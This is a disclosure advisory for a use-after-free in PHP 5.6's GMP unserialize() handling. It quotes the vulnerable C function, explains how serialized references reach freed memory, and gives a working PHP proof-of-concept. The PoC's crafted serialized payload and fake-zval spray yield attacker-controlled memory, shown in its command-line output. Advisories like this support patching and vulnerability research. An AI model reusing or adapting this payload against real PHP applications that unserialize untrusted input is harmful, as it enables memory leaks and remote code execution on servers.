PHP 5.6 GMP unserialize() Use-After-Free

`#Use After Free Vulnerability in unserialize() with GMP  
  
Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:  
2015.8.17 - Release Date: 2015.9.4  
  
> A use-after-free vulnerability was discovered in unserialize() with GMP object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.  
  
Affected Versions  
------------  
Affected is PHP 5.6 < 5.6.13  
  
Credits  
------------  
This vulnerability was disclosed by Taoguang Chen.  
  
Description  
------------  
```  
static int gmp_unserialize(zval **object, zend_class_entry *ce, const  
unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data  
TSRMLS_DC) /* {{{ */  
{  
...  
  
INIT_ZVAL(zv);  
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)  
|| Z_TYPE_P(zv_ptr) != IS_STRING  
|| convert_to_gmp(gmpnum, zv_ptr, 10 TSRMLS_CC) == FAILURE  
) {  
zend_throw_exception(NULL, "Could not unserialize number", 0 TSRMLS_CC);  
goto exit;  
}  
zval_dtor(&zv);  
  
INIT_ZVAL(zv);  
if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)  
|| Z_TYPE_P(zv_ptr) != IS_ARRAY  
) {  
zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);  
goto exit;  
}  
```  
  
The GMP object's deserialization can create ZVAL and free its  
zval_value from memory via zval_dtor(). However during deserialization  
will still allow to use R: or r: to set references to that already  
freed memory. It is possible to use-after-free attack and execute  
arbitrary code remotely.  
  
Proof of Concept Exploit  
------------  
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.  
```  
<?php  
  
$inner = 'r:2;a:1:{i:0;a:1:{i:0;r:4;}}';  
$exploit = 'a:2:{i:0;s:1:"1";i:1;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';  
  
$data = unserialize($exploit);  
  
$fakezval = ptr2str(1122334455);  
$fakezval .= ptr2str(0);  
$fakezval .= "\x00\x00\x00\x00";  
$fakezval .= "\x01";  
$fakezval .= "\x00";  
$fakezval .= "\x00\x00";  
  
for ($i = 0; $i < 5; $i++) {  
$v[$i] = $fakezval.$i;  
}  
  
var_dump($data);  
  
function ptr2str($ptr)  
{  
$out = '';  
for ($i = 0; $i < 8; $i++) {  
$out .= chr($ptr & 0xff);  
$ptr >>= 8;  
}  
return $out;  
}  
  
?>  
```  
  
Test the PoC on the command line:  
```  
$ php uafpoc.php  
array(2) {  
[0]=>  
int(1122334455) <=== so we can control the memory and create fake ZVAL :)  
[1]=>  
object(GMP)#1 (2) {  
[0]=>  
array(1) {  
[0]=>  
int(4325299791)  
}  
["num"]=>  
string(1) "1"  
}  
}  
```  
  
  
`